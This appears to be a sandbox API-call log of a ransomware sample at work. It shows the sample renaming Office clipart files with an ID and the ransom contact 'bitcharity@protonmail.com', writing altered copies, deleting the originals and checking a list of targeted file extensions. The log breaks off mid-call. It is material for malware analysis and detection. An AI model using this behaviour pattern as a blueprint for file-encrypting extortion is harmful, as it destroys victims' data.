[0150.825] WriteFile (in: hFile=0x10cc, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.825] SetEndOfFile (hFile=0x10cc) returned 1 [0150.825] CloseHandle (hObject=0x10cc) returned 1 [0150.829] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.829] SetEndOfFile (hFile=0x10d0) returned 1 [0150.830] CloseHandle (hObject=0x10d0) returned 1 [0150.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0151.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0151.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0151.329] lstrlenW (lpString=".doc") returned 4 [0151.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.329] lstrlenW (lpString=".docx") returned 5 [0151.329] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.329] lstrlenW (lpString=".pdf") returned 4 [0151.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.330] lstrlenW (lpString=".xls") returned 4 [0151.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.330] lstrlenW (lpString=".xlsx") returned 5 [0151.330] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.330] lstrlenW (lpString=".ppt") returned 4 [0151.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0151.330] lstrlenW (lpString=".zip") returned 4 [0151.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.330] lstrlenW (lpString=".rar") returned 4 [0151.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.330] lstrlenW (lpString=".bz2") returned 4 [0151.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.330] lstrlenW (lpString=".7z") returned 3 [0151.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0151.330] lstrlenW (lpString=".dbf") returned 4 [0151.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0151.330] lstrlenW (lpString=".1cd") returned 4 [0151.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0151.330] lstrlenW (lpString=".jpg") returned 4 [0151.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.331] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.331] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0151.331] GetLastError () returned 0x0 [0151.331] ReadFile (in: hFile=0x10e8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x66dc, lpOverlapped=0x0) returned 1 [0151.352] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x66e0, lpOverlapped=0x0) returned 1 [0151.353] ReadFile (in: hFile=0x10e8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.353] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0151.353] SetEndOfFile (hFile=0x103c) returned 1 [0151.353] CloseHandle (hObject=0x103c) returned 1 [0151.354] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.354] SetEndOfFile (hFile=0x10e8) returned 1 [0151.355] CloseHandle (hObject=0x10e8) returned 1 [0151.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0151.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0151.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0151.356] lstrlenW (lpString=".doc") returned 4 [0151.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.356] lstrlenW (lpString=".docx") returned 5 [0151.357] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.357] lstrlenW (lpString=".pdf") returned 4 [0151.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.357] lstrlenW (lpString=".xls") returned 4 [0151.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.357] lstrlenW (lpString=".xlsx") returned 5 [0151.357] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.357] lstrlenW (lpString=".ppt") returned 4 [0151.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0151.357] lstrlenW (lpString=".zip") returned 4 [0151.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.357] lstrlenW (lpString=".rar") returned 4 [0151.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.357] lstrlenW (lpString=".bz2") returned 4 [0151.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.357] lstrlenW (lpString=".7z") returned 3 [0151.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0151.357] lstrlenW (lpString=".dbf") returned 4 [0151.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0151.357] lstrlenW (lpString=".1cd") returned 4 [0151.357] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0151.357] lstrlenW (lpString=".jpg") returned 4 [0151.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.358] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.358] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0151.358] GetLastError () returned 0x0 [0151.358] ReadFile (in: hFile=0x10e8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x16cc, lpOverlapped=0x0) returned 1 [0151.389] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x16d0, lpOverlapped=0x0) returned 1 [0151.390] ReadFile (in: hFile=0x10e8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.390] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0151.390] SetEndOfFile (hFile=0x103c) returned 1 [0151.391] CloseHandle (hObject=0x103c) returned 1 [0151.391] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.391] SetEndOfFile (hFile=0x10e8) returned 1 [0151.392] CloseHandle (hObject=0x10e8) returned 1 [0151.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0151.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0151.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0151.393] lstrlenW (lpString=".doc") returned 4 [0151.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.393] lstrlenW (lpString=".docx") returned 5 [0151.393] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.393] lstrlenW (lpString=".pdf") returned 4 [0151.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.394] lstrlenW (lpString=".xls") returned 4 [0151.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.394] lstrlenW (lpString=".xlsx") returned 5 [0151.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.394] lstrlenW (lpString=".ppt") returned 4 [0151.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0151.394] lstrlenW (lpString=".zip") returned 4 [0151.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.394] lstrlenW (lpString=".rar") returned 4 [0151.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.394] lstrlenW (lpString=".bz2") returned 4 [0151.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.394] lstrlenW (lpString=".7z") returned 3 [0151.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0151.394] lstrlenW (lpString=".dbf") returned 4 [0151.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0151.394] lstrlenW (lpString=".1cd") returned 4 [0151.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0151.394] lstrlenW (lpString=".jpg") returned 4 [0151.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.406] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.406] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0151.410] GetLastError () returned 0x0 [0151.410] ReadFile (in: hFile=0x10ec, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x19e8, lpOverlapped=0x0) returned 1 [0151.426] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x19f0, lpOverlapped=0x0) returned 1 [0151.447] ReadFile (in: hFile=0x10ec, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.447] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0151.447] SetEndOfFile (hFile=0x103c) returned 1 [0151.447] CloseHandle (hObject=0x103c) returned 1 [0151.451] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.451] SetEndOfFile (hFile=0x10ec) returned 1 [0151.458] CloseHandle (hObject=0x10ec) returned 1 [0151.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.459] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0151.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0151.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0151.460] lstrlenW (lpString=".doc") returned 4 [0151.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.460] lstrlenW (lpString=".docx") returned 5 [0151.460] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.460] lstrlenW (lpString=".pdf") returned 4 [0151.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.460] lstrlenW (lpString=".xls") returned 4 [0151.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.460] lstrlenW (lpString=".xlsx") returned 5 [0151.460] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.460] lstrlenW (lpString=".ppt") returned 4 [0151.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0151.460] lstrlenW (lpString=".zip") returned 4 [0151.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.460] lstrlenW (lpString=".rar") returned 4 [0151.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.461] lstrlenW (lpString=".bz2") returned 4 [0151.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.461] lstrlenW (lpString=".7z") returned 3 [0151.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0151.461] lstrlenW (lpString=".dbf") returned 4 [0151.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0151.461] lstrlenW (lpString=".1cd") returned 4 [0151.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0151.461] lstrlenW (lpString=".jpg") returned 4 [0151.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.464] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.464] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0151.465] GetLastError () returned 0x0 [0151.465] ReadFile (in: hFile=0x10ec, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x928, lpOverlapped=0x0) returned 1 [0151.488] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x930, lpOverlapped=0x0) returned 1 [0151.489] ReadFile (in: hFile=0x10ec, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.490] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0151.490] SetEndOfFile (hFile=0x10c0) returned 1 [0151.490] CloseHandle (hObject=0x10c0) returned 1 [0151.607] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.608] SetEndOfFile (hFile=0x10ec) returned 1 [0151.609] CloseHandle (hObject=0x10ec) returned 1 [0151.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0151.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0151.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0151.610] lstrlenW (lpString=".doc") returned 4 [0151.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.610] lstrlenW (lpString=".docx") returned 5 [0151.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.610] lstrlenW (lpString=".pdf") returned 4 [0151.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.610] lstrlenW (lpString=".xls") returned 4 [0151.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.610] lstrlenW (lpString=".xlsx") returned 5 [0151.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.610] lstrlenW (lpString=".ppt") returned 4 [0151.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0151.610] lstrlenW (lpString=".zip") returned 4 [0151.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.610] lstrlenW (lpString=".rar") returned 4 [0151.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.610] lstrlenW (lpString=".bz2") returned 4 [0151.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.610] lstrlenW (lpString=".7z") returned 3 [0151.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0151.611] lstrlenW (lpString=".dbf") returned 4 [0151.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0151.611] lstrlenW (lpString=".1cd") returned 4 [0151.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0151.611] lstrlenW (lpString=".jpg") returned 4 [0151.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.623] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.624] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0151.624] GetLastError () returned 0x0 [0151.624] ReadFile (in: hFile=0x10ec, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xc48, lpOverlapped=0x0) returned 1 [0151.693] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xc50, lpOverlapped=0x0) returned 1 [0151.694] ReadFile (in: hFile=0x10ec, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.694] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0151.694] SetEndOfFile (hFile=0x10c0) returned 1 [0151.698] CloseHandle (hObject=0x10c0) returned 1 [0151.701] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.701] SetEndOfFile (hFile=0x10ec) returned 1 [0151.702] CloseHandle (hObject=0x10ec) returned 1 [0151.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.703] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0151.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0151.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0151.703] lstrlenW (lpString=".doc") returned 4 [0151.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.703] lstrlenW (lpString=".docx") returned 5 [0151.703] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.703] lstrlenW (lpString=".pdf") returned 4 [0151.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.704] lstrlenW (lpString=".xls") returned 4 [0151.704] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.704] lstrlenW (lpString=".xlsx") returned 5 [0151.704] lstrcmpiW (lpString1=".xlsx", 